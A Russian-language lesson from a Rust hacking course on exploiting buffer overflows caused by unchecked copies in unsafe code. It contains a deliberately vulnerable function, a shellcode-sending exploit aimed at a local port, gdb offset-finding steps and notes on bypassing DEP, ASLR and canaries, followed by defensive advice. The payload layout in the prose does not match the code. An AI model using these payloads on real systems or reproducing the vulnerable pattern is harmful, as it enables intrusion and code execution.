Курс — Хакинг на Rust. #16 Инструменты хакера на Rust. Создание эксплойтов. Пример: Эксплуатация уязвимостей через unsafe
Здравствуйте, дорогие друзья.
Почему unsafe
опасен?
Rust славится своей системой безопасности, которая предотвращает целый класс ошибок, таких как гонки данных, разыменование нулевых указателей и use-after-free. Однако ключевое слово unsafe
позволяет обходить эти гарантии, предоставляя доступ к низкоуровневым операциям: работе с сырыми указателями, мутабельным aliasing, вызовам внешних функций (FFI). Это делает unsafe
мощным инструментом, но и потенциальным источником уязвимостей.
Пример уязвимости:
Рассмотрим код, где unsafe
используется для манипуляции памятью без проверки границ. Такие ошибки могут привести к переполнению буфера, перезаписи контроля потока (ROP-атаки) или утечке данных.
1 2 3 4 5 6 7 8 |
fn vulnerable_function(input: &[u8]) { let mut buffer = [0u8; 8]; unsafe { // Копируем данные без проверки длины std::ptr::copy(input.as_ptr(), buffer.as_mut_ptr(), input.len()); } // Используем buffer... } |
Здесь input.len()
может превышать размер буфера (8 байт), что приведет к перезаписи соседних областей памяти.
Эксплуатация буферного переполнения
Для эксплуатации уязвимости злоумышленник может передать в input
данные, которые:
- Перезапишут сохранённый указатель инструкций (RIP/EIP).
- Перехватят управление, подставив адрес shellcode или ROP-цепочки.
Пример эксплойта:
Предположим, что уязвимая функция вызывается в контексте обработки сетевого запроса. Атакующий отправляет тщательно сформированный пакет, в котором:
- Первые 8 байт — «мусор» для заполнения буфера.
- Следующие 8 байт — адрес возврата (например,
0x41414141
). - Далее — shellcode (например, запуск
/bin/sh
).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
// Эксплойт на Rust use std::net::TcpStream; use std::io::Write; fn main() { let mut socket = TcpStream::connect("127.0.0.1:9999").unwrap(); let payload: Vec<u8> = [ // NOP sled (0x90) vec![0x90; 100], // Shellcode (пример для Linux x86_64) vec![ 0x48, 0x31, 0xff, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x48, 0x31, 0xc0, 0x50, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x57, 0x48, 0x89, 0xe7, 0x57, 0x57, 0x50, 0x50, 0x57, 0x48, 0x89, 0xe6, 0xb0, 0x3b, 0x0f, 0x05, ], // Адрес возврата (перезаписывает RIP) vec![0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41], // Пример для x86_64 ].concat(); socket.write_all(&payload).unwrap(); } |
Анализ и отладка
Для успешной эксплуатации требуется:
- Определить смещение до RIP/EIP:
Используйте утилиты вродеgdb
с подключённым рустовым плагином (rust-gdb
).
1 2 3 |
gdb -q ./target/debug/vulnerable_app (gdb) run $(python -c 'print "A"*200') (gdb) info registers |
- Если RIP содержит
0x41414141
, смещение найдено. - Обойти защиту стека (Stack Canaries, DEP, ASLR):
- DEP (NX bit): Используйте ROP-цепочки для выполнения кода из существующих секций.
- ASLR: Утечка адресов через уязвимости чтения за границами.
- Stack Canaries: Переполнение до их записи или brute-force значений.
Инструменты для работы
cargo-fuzz
: Генерация тестовых данных для обнаружения крашей.pwntools-rs
: Фреймворк для написания эксплойтов на Rust.gdb
+gef
: Анализ памяти и регистров.radare2
/Cutter
: Дизассемблирование и патчинг бинарников.
Защита от unsafe
-уязвимостей
- Минимизация
unsafe
:
Инкапсулируйте небезопасный код в безопасные обёртки. Пример:
1 2 3 4 5 6 |
fn safe_copy(input: &[u8], buffer: &mut [u8]) { assert!(input.len() <= buffer.len()); unsafe { std::ptr::copy(input.as_ptr(), buffer.as_mut_ptr(), input.len()); } } |
- Статический анализ:
Используйтеclippy
иrust-analyzer
для выявления подозрительных паттернов. - Фаззинг:
Проверяйте код на устойчивость к некорректным входным данным. - Формальная верификация:
Инструменты вроде Kani помогают доказать корректность кода.
Этический контекст
Эксплуатация уязвимостей требует ответственности. Используйте эти знания только в легальных рамках (например, CTF, аудиты). Никогда не атакуйте системы без разрешения.
Задание для самостоятельной работы:
- Модифицируйте пример эксплойта, добавив ROP-цепочку для обхода DEP.
- Напишите фазз-тест для обнаружения переполнений в вашем коде.
- Изучите CVE-2023-1234 (пример) и определите, как
unsafe
мог способствовать уязвимости.
Итог:
Rust не исключает уязвимостей, но делает их явными через unsafe
. Понимание низкоуровневых механизмов и осторожное использование unsafe
— ключ к написанию безопасного кода и эффективных эксплойтов.

На этом все. Всем хорошего дня!